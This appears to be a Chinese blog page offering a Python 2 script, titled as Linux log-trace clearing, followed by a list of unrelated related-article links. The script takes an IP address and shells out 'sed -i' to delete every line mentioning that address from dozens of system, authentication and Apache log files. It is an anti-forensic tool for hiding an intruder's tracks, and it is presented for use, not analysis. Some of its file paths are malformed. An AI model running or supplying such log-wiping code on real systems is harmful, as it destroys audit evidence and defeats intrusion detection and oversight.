Linux日志痕迹清除
#coding=utf-8
import os
import sys
import subprocess def Clear_The_Log(host):
logs = ["/var/log/messages","/var/log/messages.1","/etc/syslog.conf","/var/log/secure","/var/log/message","/var/log/lastlog","/var/log/auth.log","/var/log/vsftpd.log","/var/log/apache2/access.log","/var/log/apache2/error.log","/var/log/apache2/error.log.1","/usr/local/httpd/error.log","/apache/apache/message.log","/var/log/apache2/access_log","/var/log/apache2/error.log","/var/log/apache2/error_log ","/var/log/apache/access.log","/var/log/apache/access_log","/var/log/apache/error.log","/var/log/apache/error_log","/var/www/logs/error_log"," /var/www/logs/error.log"," /var/www/logs/access_log","/var/www/logs/access.log","/usr/local/apache/logs/error_log"," /usr/local/apache/logs/error.log","/usr/local/apache/logs/access_log","usr/local/apache/logs/access.log","/var/log/error_log","/var/log/error.log","/var/log/access_log","/var/log/access.log","/usr/local/apache/logs/error_logerror_log.old","/usr/local/apache/logs/access_logaccess_log.old","/var/log/access.log","/var/log/access_log","/usr/local/apache/logs/error_log","/usr/local/apache/logs/error.log","/usr/local/apache/logs/access.log","/var/log/messages.1","/var/log/messages.2","/var/log/messages.3","/var/log/messages.4","/var/log/secure.1","/var/log/secure.2","/var/log/secure.3","/var/log/secure.3","/var/log/secure.4"]
print "[*]Trying to find the logs of the Linux......"
for log in logs:
if os.path.exists(log):
print "[+]Found the log: " + log
subprocess.call("sed -i '/%s/d' %s" % (host, log), shell=True)
print "[+]Clear the log successfully." def main():
try:
host = sys.argv[1]
if len(sys.argv) < 1:
print "[*]Usage: python Linux_log_clear.py [host]\n Example: python Linux_log_clear.py 127.0.0.1"
Clear_The_Log(host)
except Exception, e:
print "[*]Usage: python Linux_log_clear.py [host]\n Example: python Linux_log_clear.py 127.0.0.1" if __name__ == '__main__':
main()
Linux日志痕迹清除的更多相关文章
- Kali Linux Web后门工具、Windows操作系统痕迹清除方法
Kali Linux Web后门工具 Kali的web后门工具一共有四款,今天只介绍WebaCoo 首先介绍第一个WeBaCoo(Web Backdoor Cookie) WeBaCoo是一款隐蔽的脚 ...
- Linux下自动清除MySQL日志文件
MySQL运行过程中会生成大量的日志文件,占用不少空间,修改my.cnf文件配置bin-log过期时间,在Linux下自动清除MySQL日志文件 [mysqld] expire-logs-days= ...
- linux日志文件
linux日志文件 在系统运行正常的情况下学习了解这些不同的日志文件有助于你在遇到紧急情况时从容找出问题并加以解决. /var/log/messages — 包括整体系统信息,其中也包含系统启动期间的 ...
- Linux - 日志文件
Linux日志文件绝大多数存放在/var/log目录,其中一些日志文件由应用程序创建,其他的则通过syslog来创建. Linux系统日志文件通过syslog守护程序在syslog套接字/dev/lo ...
- Linux - 日志文件简介
Linux日志文件绝大多数存放在/var/log目录,其中一些日志文件由应用程序创建,其他的则通过syslog来创建. Linux系统日志文件通过syslog守护程序在syslog套接字/dev/lo ...
- Linux - 日志处理一
Linux 日志处理 history # 历时命令默认1000条 HISTTIMEFORMAT="%Y-%m-%d %H:%M:%S " # 让history命令显示具体时间 hi ...
- Linux日志分析的实战专题
来自 日志也是用户应该注意的地方之一.不要低估日志文件对网络安全的重要作用,因为日志文件能够详细记录系统每天发生的各种各样的事件.用户可以通过日志文件 检查错误产生的原因,或者在受到攻击和黑客入侵 ...
- [转帖]Linux日志文件utmp、wtmp、lastlog、messages
Linux日志文件utmp.wtmp.lastlog.messages https://www.cnblogs.com/zhuiluoyu/p/6874255.html 1.有关当前登录用户的信息记录 ...
- 常用Linux日志文件功能
/var/log目录下的20个Linux日志文件功能详解 : 如果愿意在Linux环境方面花费些时间,首先就应该知道日志文件的所在位置以及它们包含的内容.在系统运行正常的情况下学习了解这些不同的日 ...
随机推荐
- MT【169】拉格朗日配方
已知$x^2+y^2+z^2=1$求$3xy-3yz+2z^2$的最大值______ 答案:$3$ 提示:$3(x^2+y^2+z^2)-(3xy-3yz+2z^2)=3\left(y+\dfrac{ ...
- HGOI 20190407 Typing Competition Round #1 出题记
/* ljc20020730出的HGOI20190407的模拟赛. 考试结果比预期难的不少,可能是由于本来计划5h的比赛打了4h吧. 就当普及组模拟赛好了... 难度大概4紫吧(弱省省选难度) 出境 ...
- Nowcoder | [题解-N189]牛客OI赛制测试赛3
这场说实话确实水(逃*1),表示差一点就AK了(逃*2),然而被卡两个特判的我\(ssfd\)...\(qwq\) 表示这是第一次发整场比赛的题解...还请各位大佬原谅我太蒻写的垃圾啊\(qwq\). ...
- [luogu1110][ZJOI2007]报表统计【平衡树】
传送门 [洛谷传送门] [bzoj传送门] 前言 洛谷和网上的题解都好复杂哦,或者是stl水过. 窝的语文不怎么好,所以会有一些表达上的累赘或者是含糊不清,望各大佬海涵. 前置芝士 首先你一定要会平衡 ...
- cf1073G Yet Another LCP Problem (SA+权值线段树)
反正先求一遍sa 然后这个问题可以稍微转化一下 默认比较A.B数组中元素的大小都是比较它们rank的大小,毕竟两个位置的LCP就是它们rank的rmq 然后每次只要求B[j]>=A[i]的LCP ...
- [HEOI2015]小Z的房间(矩阵树定理学习笔记)
题目描述 你突然有了一个大房子,房子里面有一些房间.事实上,你的房子可以看做是一个包含n*m个格子的格状矩形,每个格子是一个房间或者是一个柱子.在一开始的时候,相邻的格子之间都有墙隔着. 你想要打通一 ...
- 【php】php从多个数组中取出最大的值
function _arr_max($arr = []){ if(func_num_args() > 1){ $result = []; foreach(func_get_args() as $ ...
- 【redis】redis配置文件参数解析
redis配置文件路径可以通过info命令找到 Redis配置参数如下daemonize no 默认情况下,redis不是以守护进程的方式运行,一般生产环境,把该项的值更改为 yesrequirepa ...
- Centos7下源码编译安装python3.6
测试环境: 操作步骤: 1. 下载Python源码包(python3.6.0) 官网下载地址:https://www.python.org/downloads/ 搜狐下载地址:http://mirro ...
- postgreSQL学习(一):在Linux下安装postgreSQL
1. 安装源: $ sudo yum install https://download.postgresql.org/pub/repos/yum/10/redhat/rhel-7-x86_64/pgd ...